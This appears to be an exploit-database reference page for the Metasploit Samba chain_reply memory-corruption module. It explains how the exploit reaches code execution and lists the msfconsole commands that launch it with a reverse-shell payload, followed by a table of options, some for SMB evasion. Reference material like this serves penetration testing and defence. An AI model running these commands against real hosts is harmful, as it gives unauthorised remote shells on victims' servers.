Samba chain_reply Memory Corruption (Linux x86)
This exploits a memory corruption vulnerability present in Samba versions prior to 3.3.13. When handling chained response packets, Samba fails to validate the offset value used when building the next part. By setting this value to a number larger than the destination buffer size, an attacker can corrupt memory. Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will cause the header of the input buffer chunk to be corrupted. After close inspection, it appears that 3.0.x versions of Samba are not exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot cause memory to be corrupted in an exploitable way. It is possible to corrupt the heap header of the "InputBuffer", but it didn't seem possible to get the chunk to be processed again prior to process exit. In order to gain code execution, this exploit attempts to overwrite a "talloc chunk" destructor function pointer. This particular module is capable of exploiting the flaw on x86 Linux systems that do not have the nx memory protection. NOTE: It is possible to make exploitation attempts indefinitely since Samba forks for user sessions in the default configuration.
Exploit Rank
- Good
Exploit Authors
- jduck < jduck [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Linux (Debian5 3.2.5-4lenny6) (default)
- 1 - Debugging Target
Exploit Development
Similar Exploit Modules
Exploit Usage Information
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msf > use exploit/linux/samba/chain_reply
msf exploit(chain_reply) > show payloads
msf exploit(chain_reply) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(chain_reply) > set LHOST [MY IP ADDRESS]
msf exploit(chain_reply) > set RHOST [TARGET IP]
msf exploit(chain_reply) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 139) |
| BruteStep | Step size between brute force attempts |
| BruteWait | Delay between brute force attempts |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| Proxies | Use a proxy chain |
| SMB::ChunkSize | The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing |
| SMB::Native_LM | The Native LM to send during authentication |
| SMB::Native_OS | The Native OS to send during authentication |
| SMB::VerifySignature | Enforces client-side verification of server response signatures |
| SMBDirect | The target port is a raw SMB service (not NetBIOS) |
| SMBDomain | The Windows domain to use for authentication |
| SMBName | The NetBIOS hostname (required for port 139 connections) |
| SMBPass | The password for the specified username |
| SMBUser | The username to authenticate as |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| SMB::obscure_trans_pipe_level | Obscure PIPE string in TransNamedPipe (level 0-3) |
| SMB::pad_data_level | Place extra padding between headers and data (level 0-3) |
| SMB::pad_file_level | Obscure path names used in open/create (level 0-3) |
| SMB::pipe_evasion | Enable segmented read/writes for SMB Pipes |
| SMB::pipe_read_max_size | Maximum buffer size for pipe reads |
| SMB::pipe_read_min_size | Minimum buffer size for pipe reads |
| SMB::pipe_write_max_size | Maximum buffer size for pipe writes |
| SMB::pipe_write_min_size | Minimum buffer size for pipe writes |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |